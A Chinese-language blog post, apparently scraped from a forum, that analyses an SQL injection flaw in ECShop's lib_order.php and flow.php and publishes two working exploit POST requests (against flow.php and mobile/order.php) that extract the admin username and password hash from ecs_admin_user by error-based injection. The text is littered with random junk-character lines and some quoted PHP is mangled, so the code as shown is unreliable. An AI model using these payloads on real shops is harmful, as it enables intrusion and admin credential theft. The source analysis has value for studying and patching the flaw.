ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
: j1 B: R6 i$ A. g. q/ a7 G
    漏洞关键文件：

    /includes/lib_order.php
2 G) ]$ m' m; V  w0 J/ U; m
$ z6 V9 P3 q6 E$ v8 F" w- `0 ]    关键函数：
5 |  h# h' g; e: r3 q


01     function available_shipping_list($region_id_list)
1 B. H9 _- s. U. a6 i
+ y# A- a* O2 w4 K02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

. M$ a9 W# ^1 B; C5 }9 [- z05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

, I( ]/ s' A8 g4 t/ \06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
- @; C! E& E; o* t+ D8 Y4 f
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

1 C: G+ C9 ~. n1 X2 Q3 D6 q09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. e0 O; \, p! R8 @$ S. O) y- P
10   
$ q2 @; b. c  V  B
11     return $GLOBALS['db']->getAll($sql);
# F& I6 H+ Y# }! G4 C+ H
4 L. n# y; T  x; R! J  V- u12 }
4 B2 x7 v) _7 e- q4 k' \
显然对传入的参数没有任何过滤就带入了查询语句。
7 r4 D4 a0 N/ I
下面我们追踪这个函数在flow.php中：
, C9 {6 ]7 ], n, \& ]' d" K 第531行：   
: h" s" }* Q" B9 d/ M
& S  |% j& y, V- G6 Y1 $shipping_list     = available_shipping_list($region);
' Y6 P9 R& A, ]& [1 H

: w" ]4 w. C- @6 q3 k6 f
# c& t/ Q, U% U! Z0 L) h( N" p+ z7 ?/ d

& K7 M5 N6 Z' |  v! w! c, P再对传入变量进行追踪：

第530行：   
1 d& x: f$ \5 R
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
/ l& b8 l+ S0 F1 V& |: c* g! j

# N: H6 D* T. }


. n9 a3 t: I5 [7 y. `; p第473行：        
1 X7 c& d( o" `8 Z
1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

& o0 S6 J6 e0 `1 d: }. O/includes/lib_order.php
5 ]% f' ]% q2 _/ \

, \/ Z) n8 E7 g* m) Q5 D; b


01 function get_consignee($user_id)
$ E9 f$ F, S2 d* v- X! c
& I; [/ J9 H, ?+ N" |  \2 D! p02 {

8 e% `5 Z" p0 M% ?- B' l  t/ I03     if (isset($_SESSION['flow_consignee']))

- \& K" ^: e" K9 _3 [04     {
2 j6 J- v) N# J( Q1 P& A$ s# f
& u$ \# d/ ^; P& t' B* \2 ]05         /* 如果存在session，则直接返回session中的收货人信息 */

$ a7 A+ z. \3 @. h06   

% M' |% Q0 L2 ]! G& p07         return $_SESSION['flow_consignee'];

08     }
/ Q2 j( X- `# ?' F( v
09     else

10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

4 G2 _+ \; }1 ^4 P# P12         $arr = array();

13   
# R' b6 u! P; h3 ?
' T. X& D/ Y0 @+ u$ Z  v14         if ($user_id > 0)
6 o1 ?$ J9 h; ]
15         {

16             /* 取默认地址 */

9 F6 f" w) O0 L0 v( c17             $sql = "SELECT ua.*".
% c7 r$ A& O4 @; y. _8 {; Q
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

# O/ a. _1 h) v- ^# a  A8 I19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

' {+ F: @' l+ F) O: C20   

  j% B8 [% ]0 b& {( w9 p21             $arr = $GLOBALS['db']->getRow($sql);

22         }

23   

0 H$ ]% ~0 @  E; Q, s6 @24         return $arr;

  [& w! p  e* x  H25     }

) k1 A1 C2 K+ [5 t2 u3 d' k' x26 }
& u% ?1 j+ e  d6 N! p, l9 Q
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
5 T+ ~- t& V7 ^8 M- j7 n( K

1 R) `1 h5 x" M9 ^5 O, _9 n
& a, v2 X" g5 `  Z4 o关键点:

# n( J& Z% Y* n$ N7 U) ^" R第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
( L) T2 _& U# R5 [
这里对传入参数反转义存入$_SESSION中。


( _# H5 _' d/ `7 [. C7 o; e. a
8 d$ q) E/ \+ z( l- b3 x* j然后看下：
( |# |* `5 {; m( l. D8 ?

0 E1 A" L+ u- ]8 g7 Q" O) w
   
% q1 W- H! j8 \0 m5 M$ K( [. Y% H
01 $consignee = array(
4 C. r# V3 m; q5 g& o6 m! o
5 @' q2 X: V$ N0 P6 X02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
' ]! x5 B4 \8 ?  `7 m
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

. i3 b; g# C: |# d' `3 v% T; E11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
5 Q  U* Z2 P! g; L
0 J" v5 q5 J: E13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
/ k) |% ^. a" X" n* t$ P
9 m0 K/ A/ M0 O14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
4 n& C3 }" k3 j
9 r! w. V  s1 l, O15     );

0 ~2 n8 W4 x( [9 h. G8 r好了注入就这样出现了。
3 ]( V/ @8 m9 {1 g
/ B3 x2 w; \8 v5 n- L( ^5 G0 @+ d==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

% }; I; o/ n# H+ ~0 y) j测试程序：ECShop_V2.7.3_UTF8_release1106

* o) R( U. e8 q; S5 ~
7 k2 p/ l8 S2 Y  T/ X4 p
* E5 r( j* r, K1.首先需要点击一个商品加入购物车
, J* ~9 W/ C( J
2.注册一个会员帐号
' H- n7 Y. d0 J8 `
5 O" E8 ^: Y" ]6 E, |3.post提交数据
& U5 G  G$ X7 e) ?


6 N% S, f- s! ]. ~1 http://127.0.0.1/ecshop/flow.php
$ a$ e( Z# U: m1 A' R
2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

) d  R6 e: j! k我们搜寻关键函数function available_shipping_list()

8 _* X; B$ J) i在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:

1.点击一个商品，点击购买商标
+ p& l3 s6 }+ H1 d8 M! }; n
- P! b1 ]8 Y0 F8 u% P2.登录会员帐号
+ g  q) `& ]5 U( ]
3.post提交：
3 u4 K/ Q9 \6 n; z2 K) U5 O; m
http://127.0.0.1/ecshop/mobile/order.php

* }( v* v; M! h7 h6 h+ w* T
- X4 P+ c9 q( q' G1 T1 {( H2 g/ N
" W; T. Y" C1 U/ @' Z; _country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. u7 x5 O9 o: M9 J